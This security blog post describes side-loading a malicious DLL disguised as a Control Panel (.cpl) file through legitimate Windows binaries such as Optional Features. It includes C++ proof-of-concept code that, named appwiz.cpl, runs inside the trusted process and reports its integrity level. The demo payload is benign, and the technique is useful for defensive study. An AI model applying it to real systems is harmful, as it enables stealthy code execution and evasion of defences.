Classic CPL side‑loading via windows binary

credit where credit is due: mohammadaskar While scrolling through LinkedIn, I came across a post that caught my attention it talked about how Windows can be tricked into loading malicious DLLs using a lesser-known file type called Control Panel files (.cpl). Halfway through, I saw it as a challenge to dig deeper into the topic and understand how it works behind the scenes.

Our operational objective is to let legitimate Windows binary that will load and execute our DLL disguised as a Control Panel (.cpl) file.

TDLR

Control Panel Files are essentially DLLs with a specific purpose. Windows automatically loads them when the Control Panel starts, which is why they feel more like plugins than standalone programs. Microsoft documents this behavior clearly: .cpl files are loaded by Windows binaries rather than executed directly as separate processes. What makes this interesting is how they get loaded. In some cases, entries under the [MMCPL] section of the Control.ini file can cause these .cpl files to be picked up. There are many different CPL files built into Windows, each responsible for a specific Control Panel feature, and several native Windows binaries are capable of loading them. The key takeaway here is subtle but important: Windows native binaries, such as control.exe (and other components used indirectly by system features), don’t execute Control Panel files—they load them as DLLs. These binaries enumerate .cpl files from known directories or explicit paths, load them into their own process using LoadLibrary, and then invoke the exported CPlApplet function. Any code inside the .cpl runs within the context of the hosting Windows process. This closely mirrors System Binary Proxy Execution (MITRE T1218). In other words, a legitimate Windows binary can be abused to load and run attacker-controlled code, all while appearing completely normal from the outside. After digging through multiple binaries, I came across a variety of vulnerable ones, but the most intriguing was Optional Features. Unlike the others, it operates at a higher level I actually saw UAC being invoked (o.O), and it even calls appwiz.cpl, which immediately caught my attention. So, naturally, I wanted to dive deeper.

Optional Features requires an entry called RunOCMW, so I’ll add that. This also gives us a chance to check what integrity level we’re running at, which could reveal some interesting behavior. Time to get to work.

PoC

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

void ShowIntegrityLevel()
{
    HANDLE hToken = NULL;
    DWORD dwSize = 0;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        return;

    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwSize);

    PTOKEN_MANDATORY_LABEL pTIL =
        (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwSize);

    if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwSize, &dwSize))
        return;

    DWORD integrityLevel =
        *GetSidSubAuthority(
            pTIL->Label.Sid,
            (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1)
        );

    const char* level = "UNKNOWN";

    if (integrityLevel < SECURITY_MANDATORY_MEDIUM_RID)
        level = "LOW";
    else if (integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
        integrityLevel < SECURITY_MANDATORY_HIGH_RID)
        level = "MEDIUM";
    else if (integrityLevel >= SECURITY_MANDATORY_HIGH_RID &&
        integrityLevel < SECURITY_MANDATORY_SYSTEM_RID)
        level = "HIGH (ADMIN)";
    else if (integrityLevel >= SECURITY_MANDATORY_SYSTEM_RID)
        level = "SYSTEM";

    char msg[256];
    sprintf_s(msg,
        "Hello from DLL!\n\nIntegrity Level: %s\nRID: %lu",
        level,
        integrityLevel
    );

    MessageBoxA(NULL, msg, "RunOCMW Executed", MB_OK | MB_ICONINFORMATION);

    LocalFree(pTIL);
    CloseHandle(hToken);
}

extern "C" __declspec(dllexport)
void CALLBACK RunOCMW(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    ShowIntegrityLevel();
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hinstDLL);
    }
    return TRUE;
}

If we launch it RunOCMW would be hit but the main thing is the binary will load and hit DLLMain as it is being loaded . (don't forget to name your DLL appwiz.cpl)

Other Windows binaries?

If time permits, I’ll compile all the vulnerable CPLs along with their corresponding Windows binaries and either update this project or spin up a separate GitHub repository. Until then enjoy ;)